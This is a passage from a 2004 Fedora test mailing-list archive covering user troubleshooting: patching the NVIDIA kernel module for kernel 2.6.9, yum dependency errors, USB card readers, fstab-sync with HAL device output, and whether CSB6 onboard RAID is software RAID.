03:51:41 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Fri, 05 Nov 2004 22:51:41 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099693414.31407.0.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692395.27568.1.camel@mine.nu> <1099693414.31407.0.camel@localhost.localdomain> Message-ID: <1099713101.30219.3.camel@mine.nu> On Fri, 2004-11-05 at 15:23 -0700, Kim Lux wrote: > Thanks. > > I'll test this on the weekend. > > Where did you get source from ? > > > On Fri, 2004-11-05 at 17:06 -0500, Patrick Ryan Vinson wrote: > > On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > > > Can't build or load nvidia video driver under 667 > > > > > > used an nvidia patch from > > > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > > > > > but still can't load the driver > > > > > > > > > errors: > > > # dmesg > > > nvidia: module license 'NVIDIA' taints kernel. > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > > > works fine under 2.6.8-541 > > > > > > BC > > > > > > > not sure about that patch but all I did was add > > > > unsigned int __VMALLOC_RESERVE = 128 << 20; > > > > right after: > > > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > > #endif > > > > in the nv.c file and ran the installer. Worked perfectly > > fine after that. I am currently running the *-667 kernel. > > Are you making sure your xorg.conf file is setup properly? > > you can extract the NVidia kernel source by passing -x if I remember right. It will extract the files rather than running the installer. >From there you can edit the source. From pvinson at fit.edu Sat Nov 6 03:54:48 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Fri, 05 Nov 2004 22:54:48 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041106001813.11301.qmail@webmail01.mesa1.secureserver.net> References: <20041106001813.11301.qmail@webmail01.mesa1.secureserver.net> Message-ID: <1099713288.30219.5.camel@mine.nu> heh...that's good news...glad I could be of some help.. On Fri, 2004-11-05 at 17:18 -0700, Brian Callahan wrote: > OK I had the "unsigned" line too high in the nv.c file I had to move it > down a liitle bit below the global state line and everything loads > > THANK YOU !!! > > > -------- Original Message -------- > > Subject: RE: nvidia driver kernel 2.6.9 667 > > From: "Brian Callahan" > > Date: Fri, November 05, 2004 7:08 pm > > To: pvinson at fit.edu, "For testers of Fedora Core development releases" > > > > > > OK I added the line and then ran the installer but now I get a different > > error > > > > /root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.c:3512: error: > > `num_nv_de > > vices' undeclared (first use in this function) > > make[4]: *** [/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.o] > > Error 1 > > make[3]: *** > > [_module_/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv] Error > > 2 > > make[2]: *** [modules] Error 2 > > NVIDIA: left KBUILD. > > nvidia.ko failed to build! > > make[1]: *** [module] Error 1 > > make: *** [module] Error 2 > > -> Error. > > ERROR: Unable to build the NVIDIA kernel module. > > ERROR: Installation has failed. Please see the file > > '/var/log/nvidia-installer.log' for details. You may find > > suggestions > > on fixing installation problems in the README available on the > > Linux > > driver download page at www.nvidia.com. > > > > > > "nv.c file: > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > > #endif > > unsigned int __VMALLOC_RESERVE = 128 << 20 <----------------------- > > /* > > * our global state; one per device > > " > > > > Thanks, > > BC > > > > > > > > > > > -------- Original Message -------- > > > Subject: Re: nvidia driver kernel 2.6.9 667 > > > From: "Patrick Ryan Vinson" > > > Date: Fri, November 05, 2004 5:06 pm > > > To: "For testers of Fedora Core development releases" > > > > > > > > > On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > > > > Can't build or load nvidia video driver under 667 > > > > > > > > used an nvidia patch from > > > > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > > > > > > > but still can't load the driver > > > > > > > > > > > > errors: > > > > # dmesg > > > > nvidia: module license 'NVIDIA' taints kernel. > > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > > > > > works fine under 2.6.8-541 > > > > > > > > BC > > > > > > > > > > not sure about that patch but all I did was add > > > > > > unsigned int __VMALLOC_RESERVE = 128 << 20; > > > > > > right after: > > > > > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > > > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > > > #endif > > > > > > in the nv.c file and ran the installer. Worked perfectly > > > fine after that. I am currently running the *-667 kernel. > > > Are you making sure your xorg.conf file is setup properly? > > > > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > From pvinson at fit.edu Sat Nov 6 04:08:57 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Fri, 05 Nov 2004 23:08:57 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418C3237.9010006@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> Message-ID: <1099714137.30219.7.camel@mine.nu> On Fri, 2004-11-05 at 21:08 -0500, Jim Martin wrote: > Brian Callahan wrote: > > >I just got it running with NO SOURCE installed. I used > >/lib/modules/2.6.9-667/build/include as the source code for my running > >kernel, editied the nv.c and then the module loads without any errors. > > > >BC > > > > > > > >>-------- Original Message -------- > >>Subject: Re: nvidia driver kernel 2.6.9 667 > >>From: "Kim Lux" > >>Date: Fri, November 05, 2004 8:36 pm > >>To: "For testers of Fedora Core development releases" > >> > >> > >>If you are implying that the Nvidia driver installs without source, you > >>are partially wrong in the general and totally wrong in this case. The > >>Nvidia driver DOES install without kernel source code on common kernels, > >>ie ones that the Nvidia team has compiled a kernel for and included in > >>the install pack. > >> > >>However, if you read the driver fine print, you will find that if your > >>kernel version isn't supported, you need to have kernel source installed > >>in order to build the kernel. That is precisely what the Nvidia > >>"install" tool does. > >> > >>Thus, I DO need kernel source to get an Nvidia driver running with > >>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > >>kernel in their install pack. > >> > >> > >> > >> > >>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > >> > >> > >>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > >>> > >>> > >>> > >>>>BTW: Where did you get kernel source from ? > >>>> > >>>> > >>>As per the usual answer here, you really shouldn't need it just to build > >>>drivers. I think that Nvidia have picked up that clue by now, all even > >>>mildly sane distros have something useful under > >>>/lib/modules//build (be it a symlink or a real directory > >>>with the needed files). > >>> > >>>If you actually want the source for building a custom kernel, that's a > >>>legitimate use of course, and then there's instructions for how to get > >>>the Fedora-patched source tree from the kernel SRPM in the distribution > >>>release notes. > >>> > >>> > >>> > >>>>I've been running in VESA mode for 3 weeks now. > >>>> > >>>> > >>>The nv driver, while not providing any 3D acceleration, should be _much_ > >>>better than using a vesa driver in terms of usable video modes etc... > >>>You might want to use that as a backup instead. > >>> > >>>Best regards, > >>>Per > >>> > >>>-- > >>>Per Bjornsson > >>>Ph.D. Candidate, Department of Applied Physics, Stanford University > >>> > >>> > >>> > >>-- > >>Kim Lux (Mr.) Diesel Research Inc > >> > >>-- > >>fedora-test-list mailing list > >>fedora-test-list at redhat.com > >>To unsubscribe: > >>http://www.redhat.com/mailman/listinfo/fedora-test-list > >> > >> > > > > > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > check www.nvidia.com for th update > > BaVinic > hm....didn't know there was an update...going to have to check this one out....thanks for the info.. From pvinson at fit.edu Sat Nov 6 04:12:44 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Fri, 05 Nov 2004 23:12:44 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041106023932.31035.qmail@webmail04.mesa1.secureserver.net> References: <20041106023932.31035.qmail@webmail04.mesa1.secureserver.net> Message-ID: <1099714364.30219.10.camel@mine.nu> hm...not sure...only thing I can possibly think of is that possibly the old nvidia module was still loaded. However, would upgrading an already loaded module cause something like this? These errors are beyond me. On Fri, 2004-11-05 at 19:39 -0700, Brian Callahan wrote: > OK just out of curiosity after hacking the nv.c file and getting X > working I decided to try the new driver they posted today as suggested. > Installed Perfectly and the module loaded but when I start X I get > > ov 5 21:35:44 Penguin1 kernel: NVRM: client supports wrong rm api > version!! > Nov 5 21:35:44 Penguin1 kernel: NVRM: aborting to avoid catastrophe! > Nov 5 21:35:45 Penguin1 gdm[11206]: gdm_slave_xioerror_handler: Fatal X > error - Restarting :0 > Nov 5 21:35:49 Penguin1 kernel: NVRM: client supports wrong rm api > version!! > Nov 5 21:35:49 Penguin1 kernel: NVRM: aborting to avoid catastrophe! > Nov 5 21:35:50 Penguin1 gdm[11293]: gdm_slave_xioerror_handler: Fatal X > error - Restarting :0 > Nov 5 21:35:50 Penguin1 gdm[11116]: deal_with_x_crashes: Running the > XKeepsCrashing script > > > Same xorg.conf as before - the only thing that changed is the driver > > Any ideas ? > > > > > -------- Original Message -------- > > Subject: Re: nvidia driver kernel 2.6.9 667 > > From: "Jim Martin" > > Date: Fri, November 05, 2004 9:08 pm > > To: "For testers of Fedora Core development releases" > > > > > > Brian Callahan wrote: > > > > >I just got it running with NO SOURCE installed. I used > > >/lib/modules/2.6.9-667/build/include as the source code for my running > > >kernel, editied the nv.c and then the module loads without any errors. > > > > > >BC > > > > > > > > > > > >>-------- Original Message -------- > > >>Subject: Re: nvidia driver kernel 2.6.9 667 > > >>From: "Kim Lux" > > >>Date: Fri, November 05, 2004 8:36 pm > > >>To: "For testers of Fedora Core development releases" > > >> > > >> > > >>If you are implying that the Nvidia driver installs without source, you > > >>are partially wrong in the general and totally wrong in this case. The > > >>Nvidia driver DOES install without kernel source code on common kernels, > > >>ie ones that the Nvidia team has compiled a kernel for and included in > > >>the install pack. > > >> > > >>However, if you read the driver fine print, you will find that if your > > >>kernel version isn't supported, you need to have kernel source installed > > >>in order to build the kernel. That is precisely what the Nvidia > > >>"install" tool does. > > >> > > >>Thus, I DO need kernel source to get an Nvidia driver running with > > >>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > > >>kernel in their install pack. > > >> > > >> > > >> > > >> > > >>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > > >> > > >> > > >>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > > >>> > > >>> > > >>> > > >>>>BTW: Where did you get kernel source from ? > > >>>> > > >>>> > > >>>As per the usual answer here, you really shouldn't need it just to build > > >>>drivers. I think that Nvidia have picked up that clue by now, all even > > >>>mildly sane distros have something useful under > > >>>/lib/modules//build (be it a symlink or a real directory > > >>>with the needed files). > > >>> > > >>>If you actually want the source for building a custom kernel, that's a > > >>>legitimate use of course, and then there's instructions for how to get > > >>>the Fedora-patched source tree from the kernel SRPM in the distribution > > >>>release notes. > > >>> > > >>> > > >>> > > >>>>I've been running in VESA mode for 3 weeks now. > > >>>> > > >>>> > > >>>The nv driver, while not providing any 3D acceleration, should be _much_ > > >>>better than using a vesa driver in terms of usable video modes etc... > > >>>You might want to use that as a backup instead. > > >>> > > >>>Best regards, > > >>>Per > > >>> > > >>>-- > > >>>Per Bjornsson > > >>>Ph.D. Candidate, Department of Applied Physics, Stanford University > > >>> > > >>> > > >>> > > >>-- > > >>Kim Lux (Mr.) Diesel Research Inc > > >> > > >>-- > > >>fedora-test-list mailing list > > >>fedora-test-list at redhat.com > > >>To unsubscribe: > > >>http://www.redhat.com/mailman/listinfo/fedora-test-list > > >> > > >> > > > > > > > > > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > > check www.nvidia.com for th update > > > > BaVinic > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > From greg at gulik.org Sat Nov 6 04:59:24 2004 From: greg at gulik.org (Gregory Gulik) Date: Fri, 05 Nov 2004 22:59:24 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418C3237.9010006@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> Message-ID: <418C5A2C.3040208@gulik.org> Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 notebook, yet DPMS still doesn't work. It used to work in FC2. The 6629 driver does NOT work on my Compaq R3000z. The previous version did work ok but 6629 has a majorly messed up screen upon starting X. Anyone else having troubles with the NVIDIA driver on an R3000Z?? Jim Martin wrote: > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > check www.nvidia.com for th update -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From gene.heskett at verizon.net Sat Nov 6 06:11:24 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Sat, 6 Nov 2004 01:11:24 -0500 Subject: yum update from RC5 to full release possible? Message-ID: <200411060111.24328.gene.heskett@verizon.net> Greetings; I just put RC5 on my shop box, and I'm wondering if, when the full release is made, I can yum update it to the full release? Other than some install wibbles, it seems to be working ok so far. But the install gotcha's wasted 3 hours as the box is a bit slow, a 233mhz PII. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From manu at kromtek.com Sat Nov 6 06:31:03 2004 From: manu at kromtek.com (Manu Abraham) Date: Sat, 6 Nov 2004 10:31:03 +0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099705902.10772.15.camel@ricardo.veguilla.net> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099705017.3873.4.camel@localhost.localdomain> <1099705902.10772.15.camel@ricardo.veguilla.net> Message-ID: <200411061031.03959.manu@kromtek.com> On Sat November 6 2004 5:51 am, Ricardo Veguilla wrote: > On Fri, 2004-11-05 at 18:36 -0700, Kim Lux wrote: > > If you are implying that the Nvidia driver installs without source, you > > are partially wrong in the general and totally wrong in this case. The > > Nvidia driver DOES install without kernel source code on common kernels, > > ie ones that the Nvidia team has compiled a kernel for and included in > > the install pack. > > The nvidia installer includes pre-compiled modules for the kernels > shipped with most distributions, that is correct. But the nvidia > installer can compile the module without the kernel source installed. > > > However, if you read the driver fine print, you will find that if your > > kernel version isn't supported, you need to have kernel source installed > > in order to build the kernel. That is precisely what the Nvidia > > "install" tool does. > > Did you try? I used to regularly compile the nvidia modules (before the > 2.6.9 kernel) without the kernel-source RPM installed (which I've never > installed in my system). > True, i never download the pre-compiled kernel modules, i always let the installer do the compilation. Manu From paul at all-the-johnsons.co.uk Sat Nov 6 13:04:43 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sat, 06 Nov 2004 13:04:43 +0000 Subject: usb-ehci and a problem Message-ID: <1099746283.4043.6.camel@localhost.localdomain> Hi, If I try to /sbin/modprobe usb-ehci, all I get is module ehci_usb cannot be found. Is anyone else seeing that? Also, I have a new floppy drive which has in it an SD reader and other card readers. This is picked up as it's connected to one of the USB plugs on the motherboard. There is power to it, but both /sbin/lsusb is showing nothing and kudzu didn't see anything. The drive itself (specs etc) can be seen at http://www.dabs.com/uk/channels/hardware/storage/productView.htm? quicklinx=2SRJ As usual, the manufacturers website is brain-dead enough to say their site is "optimised" for IE (what ever the heck that means - I'm guessing it means it's broken!) and doesn't even mention Linux. Does anyone know what modules I need to load for it (I have ohci and uhci as well as usb-storage loaded, but nothing seems to be found). Is it just a case of adding the devices to fstab and if so, what would they be called and where would they get mounted? I'm using FC3T3 (though when I reboot, it is saying I'm still on T2!) TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... 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Thanks, Ted From tim at birdsnest.maths.tcd.ie Sat Nov 6 13:23:11 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Sat, 6 Nov 2004 13:23:11 +0000 Subject: Frame buffer drivers for ATI Rage Mobility P/M In-Reply-To: <418C2A46.2080400@linuxboxen.org> References: <418BFE21.7090204@ergolight-sw.com> <200411060108.38690.tim@birdsnest.maths.tcd.ie> <418C2A46.2080400@linuxboxen.org> Message-ID: <200411061323.13646.tim@birdsnest.maths.tcd.ie> On Saturday 06 November 2004 01:35, David Bronaugh wrote: > >On Friday 05 November 2004 22:36, Alex Deucher wrote: > >>ati's driver only support radeon 8500 and above chips. > >I don't think that is true. > You're talking 2D, he's talking 3D. OK, maybe I misunderstood. But his statement above didn't say anything about 2D or 3D. It simply said that the ati driver did not support the Rage Mobility chip. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From tedkaz at optonline.net Sat Nov 6 13:21:43 2004 From: tedkaz at optonline.net (Ted Kaczmarek) Date: Sat, 06 Nov 2004 08:21:43 -0500 Subject: missing dep problem In-Reply-To: <1099746482.5239.3.camel@inyoureyes.linsolutions.com> References: <1099746482.5239.3.camel@inyoureyes.linsolutions.com> Message-ID: <1099747303.5239.13.camel@inyoureyes.linsolutions.com> On Sat, 2004-11-06 at 08:08 -0500, Ted Kaczmarek wrote: > Trying to update a dev box. > > yum --obsolete update > > Error: missing dep: cyrus-sasl for pkg cyrus-sasl-plain > Error: missing dep: cyrus-sasl for pkg cyrus-sasl-md5 > Error: missing dep: postgresql for pkg postgresql-server > Error: missing dep: openssh for pkg openssh-server > Error: missing dep: postgresql for pkg postgresql-pl > Error: missing dep: libgnomecups for pkg libgnomecups-devel > Error: missing dep: openssh for pkg openssh-clients > > > Any ideas? > > Thanks, > Ted > Brain fart, duplicate packages, old age is kicking in. Ted From douglas.furlong at firebox.com Sat Nov 6 13:28:22 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Sat, 06 Nov 2004 13:28:22 +0000 Subject: Where did updfstab go? In-Reply-To: <20041105160006.B542@mail.harddata.com> References: <418C046C.7080206@firebox.com> <20041105160006.B542@mail.harddata.com> Message-ID: <418CD176.10602@firebox.com> Michal Jaegermann wrote: >On Fri, Nov 05, 2004 at 10:53:32PM +0000, Douglas Furlong wrote: > > >>I had a look at the fstab-sync --add option, but I don't know how to >>find the unique UDI's. >> >> > >That is precisely why I asked for some examples in documenation. >Try 'lshal' (likely with some options). > > Michal > > > Okay, well I had a look at that, and I beleive I have found the device, but what do I do about this? udi = '/org/freedesktop/Hal/devices/block_4183-9C1C' volume.mount_point = '' (string) volume.policy.mount_option.noatime = true (bool) volume.policy.mount_option.sync = true (bool) volume.policy.mount_option.fscontext=system_u:object_r:removable_t = true (bool) volume.policy.desired_mount_point = 'SILVERSTICK' (string) volume.policy.mount_filesystem = 'vfat' (string) volume.policy.should_mount = true (bool) info.udi = '/org/freedesktop/Hal/devices/block_4183-9C1C' (string) volume.partition.msdos_part_table_type = 11 (0xb) (int) volume.size = 261632000 (0xf983000) (uint64) volume.block_size = 512 (0x200) (int) volume.num_blocks = 511000 (0x7cc18) (int) volume.partition.number = 1 (0x1) (int) volume.is_partition = true (bool) volume.is_mounted = false (bool) volume.is_disc = false (bool) volume.uuid = '4183-9C1C' (string) volume.label = 'SILVERSTICK' (string) volume.fsversion = 'FAT16' (string) volume.fsusage = 'filesystem' (string) volume.fstype = 'vfat' (string) info.product = 'SILVERSTICK' (string) block.storage_device = '/org/freedesktop/Hal/devices/block_8_0' (string) block.minor = 1 (0x1) (int) block.major = 8 (0x8) (int) info.capabilities = 'block volume' (string) info.category = 'volume' (string) info.parent = '/org/freedesktop/Hal/devices/block_8_0' (string) block.device = '/dev/sda1' (string) block.is_volume = true (bool) block.have_scanned = false (bool) block.no_partitions = false (bool) linux.sysfs_path_device = '/sys/block/sda/sda1' (string) linux.sysfs_path = '/sys/block/sda/sda1' (string) info.bus = 'block' (string) [root at slaney 90defaultpolicy]# fstab-sync -v -- add='/org/freedesktop/Hal/devices/block_4183-9C1C' 6799: mount_root='/media' 6799: use_managed=1 6799: managed primary='managed' 6799: managed secondary='kudzu' 6799: Line ended prematurely 6799: Could not parse data from '/etc/fstab' [root at slaney 90defaultpolicy]# cat /etc/fstab # This file is edited by fstab-sync - see 'man fstab-sync' for details /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 /dev/VolGroup00/Movies /media/Movies ext3 rw,acl 1 2 /dev/VolGroup00/TV_Episodes /media/TV_Episodes ext3 rw,acl 1 2 /dev/VolGroup00/Music /media/Music ext3 rw,acl 1 2 /dev/VolGroup00/Music /media/Software ext3 rw,acl 1 2 # NFS Shares corrig:/home /home nfs /dev/scd0 /media/cdrecorder auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 /dev/hdc /media/cdrom auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 /dev/fd0 /media/floppy auto pamconsole,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 0 From maillists at awcconsulting.com Sat Nov 6 14:19:15 2004 From: maillists at awcconsulting.com (AWC Maillists) Date: Sat, 06 Nov 2004 09:19:15 -0500 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <1099691888.2814.31.camel@laptop.fenrus.org> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> <1099691888.2814.31.camel@laptop.fenrus.org> Message-ID: <418CDD63.90500@awcconsulting.com> Arjan van de Ven wrote: >>Errr, you do if the Kernel does not even recognize the controller drives >>at all. (Which it does not with this esoteric controller.) > > > if I can see lspci and lspci -n maybe we can add that. > > >> And I am >>always amazed how people seems to think using software raid is as good a >>solution as using hardware raid. Come on, there is no comparison, >>hardware RAID is faster and more reliable and has little to no CPU >>overhead. Software raid can be CPU intensive and not as reliable. > > > Note that we're talking about csb6 raid here. That *IS* software raid. > You just get it from a binary driver instead of an open linux driver; > but it's still software raid done by the main cpu. > > > Hmmm, I thought the CSB-6 was a low end hardware RAID. You configure the RAID in the HP BIOS - at least that is the way it works with the HP/Compaq implemtation - it is built into the motherboard. It also only supports RAID1, which does not support the RAID I want (RAID5), so I admittedly gave up on getting the CSB-6 from working without much of a fight. Given the BIOS requirement I thought that would mean this is hardware based. (As you set up the array in bios even.) Of course, it is getting awfully confusing with all the "RAID" controllers that are being installed onto lower-end motherboards. By what you are saying it sounds like these "RAID" controllers are kind of like Winmodems... offloading the real work to the CPU and OS. Or am I still not getting this right?? I will try and get you the output of lspci and pspci -n for you to look at soon. From arjanv at redhat.com Sat Nov 6 14:38:32 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sat, 06 Nov 2004 15:38:32 +0100 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <418CDD63.90500@awcconsulting.com> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> <1099691888.2814.31.camel@laptop.fenrus.org> <418CDD63.90500@awcconsulting.com> Message-ID: <1099751912.2814.9.camel@laptop.fenrus.org> > > Given the BIOS requirement I thought that would mean this is hardware > based. (As you set up the array in bios even.) it's not a correct assumption anymore; yes you can write the magic sectors to the disk via the bios.... and the bios can even read the format so that you can boot from it (but the bios does it on the host cpu) > like these "RAID" controllers are kind of like Winmodems... offloading > the real work to the CPU and OS. Or am I still not getting this right?? well it's basically pure software raid with bios boot support... (Note: with raid1 there is basically no cpu overhead so you won't notice... :) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From arjanv at redhat.com Sat Nov 6 14:42:11 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sat, 06 Nov 2004 15:42:11 +0100 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <418CDD63.90500@awcconsulting.com> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> <1099691888.2814.31.camel@laptop.fenrus.org> <418CDD63.90500@awcconsulting.com> Message-ID: <1099752130.2814.14.camel@laptop.fenrus.org> On Sat, 2004-11-06 at 09:19 -0500, AWC Maillists wrote: > installed onto lower-end motherboards. By what you are saying it sounds > like these "RAID" controllers are kind of like Winmodems... offloading > the real work to the CPU and OS. Or am I still not getting this right?? yeah you are getting it right.... but the driver has to be binary only of course... because RAID1 is highly proprietary! (ha! there's like only so many ways you can do raid1 :) fwiw, in practice linux MD raid will perform better than the software raid done by such drivers. The reason is in the on disk layout; linux md raid has the guarantee that the start of the partition is on a 4Kb boundary (by virtue of being per partition); the fakeraid drivers have to raid teh entire disk, which means partitions can (and generally will, since such raid formats advertise an non-even number of heads/cylinders) start not-on-a-4k boundary. If you do raid 0, this means that the places where the strides go to the other disk, are also not on a 4Kb boundary. Now the kernel will almost always do 4Kb (pagesize) IO's, when then have to be split on every stride boundary, which 1) is not cheap, and 2) means that you may have to wait for 2 disks to seek instead of one, etc etc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From maillists at awcconsulting.com Sat Nov 6 14:41:43 2004 From: maillists at awcconsulting.com (AWC Maillists) Date: Sat, 06 Nov 2004 09:41:43 -0500 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <1099691888.2814.31.camel@laptop.fenrus.org> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> <1099691888.2814.31.camel@laptop.fenrus.org> Message-ID: <418CE2A7.9080103@awcconsulting.com> Arjan van de Ven wrote: >>Errr, you do if the Kernel does not even recognize the controller drives >>at all. (Which it does not with this esoteric controller.) > > > if I can see lspci and lspci -n maybe we can add that. > > >> And I am >>always amazed how people seems to think using software raid is as good a >>solution as using hardware raid. Come on, there is no comparison, >>hardware RAID is faster and more reliable and has little to no CPU >>overhead. Software raid can be CPU intensive and not as reliable. > > > Note that we're talking about csb6 raid here. That *IS* software raid. > You just get it from a binary driver instead of an open linux driver; > but it's still software raid done by the main cpu. > > > Server: HP Proliant ml330 g3 Onboard IDE controller for CD-ROM and one hard drive (only have CD-ROM connected to this right now) CSB-6 onboard raid controller w/no drives connected right now I can install a blank drive if you want. So with the above two IDE controllers, a total of six IDE drives can be installed onto the machine. Adapatec RAID 2410SA controller w/enclosure kit w/RAID5 w/4x300mb driver Everything is installed onto this array 768MB RAM Fedora Core 2 w/all updates installed (using up2date using standard update site configured out of the box) including kernal Sorry, no FC3RC5 anymore, the server has to be deployed next week, so I can not play with the release candidates anymore. :( I suspect the output would be the same as FC3RC5 did not detect any drive attached to this controller during the setup process either. lspci 00:00.0 Host bridge: ServerWorks GCNB-LE Host Bridge (rev 32) 00:00.1 Host bridge: ServerWorks GCNB-LE Host Bridge 00:03.0 VGA compatible controller: ATI Technologies Inc Rage XL (rev 27) 00:04.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5702X Gigabit Ethernet (rev 02) 00:05.0 System peripheral: Compaq Computer Corporation Advanced System Management Controller 00:06.0 RAID bus controller: Adaptec AAC-RAID (rev 01) 00:0e.0 IDE interface: ServerWorks: Unknown device 0217 (rev a0) 00:0f.0 ISA bridge: ServerWorks CSB6 South Bridge (rev a0) 00:0f.1 RAID bus controller: ServerWorks CSB6 RAID/IDE Controller (rev a0) 00:0f.2 USB Controller: ServerWorks CSB6 OHCI USB Controller (rev 05) 00:0f.3 Host bridge: ServerWorks GCLE-2 Host Bridge lspci -n 00:00.0 Class 0600: 1166:0017 (rev 32) 00:00.1 Class 0600: 1166:0017 00:03.0 Class 0300: 1002:4752 (rev 27) 00:04.0 Class 0200: 14e4:16a6 (rev 02) 00:05.0 Class 0880: 0e11:a0f0 00:06.0 Class 0104: 9005:0285 (rev 01) 00:0e.0 Class 0101: 1166:0217 (rev a0) 00:0f.0 Class 0601: 1166:0203 (rev a0) 00:0f.1 Class 0104: 1166:0213 (rev a0) 00:0f.2 Class 0c03: 1166:0221 (rev 05) 00:0f.3 Class 0600: 1166:0227 I hope this helps. From royamitabha at gmail.com Sat Nov 6 15:22:16 2004 From: royamitabha at gmail.com (Amitabha Roy) Date: Sat, 6 Nov 2004 10:22:16 -0500 Subject: Another NetworkManager question Message-ID: <77e74f3e04110607224a60c073@mail.gmail.com> I am noticing that on starting NMI, NM connects to the best wireless signal it can associate with. (I think this is default and expected behaviour, but can someone clarify that it is ?) OK, rerun NMI and then connect to a private wireless network XXX with WEP. The applet tells me that it is connected to this network XXX with 30%signal strength. It sounds very suspicious so I look at iwconfig - and it actually shows association with a *different* public network YYY that is not encrypted (which has a weak signal). So when I restart NM and NMI, I know get to connect to the private network with 80% signal strength (its connected to XXX). How is it possible that iwconfig and NM applet show conflicting information ? In this case at least a 30% signal strength means that NM applet information is actually incorrect. I am using orinoco_cs rc2 and NM from CVS. Also, can someone tell me where NM stores keys, ap information, history of recorded networks etc ? How can I reset all the information so that NM does not try to 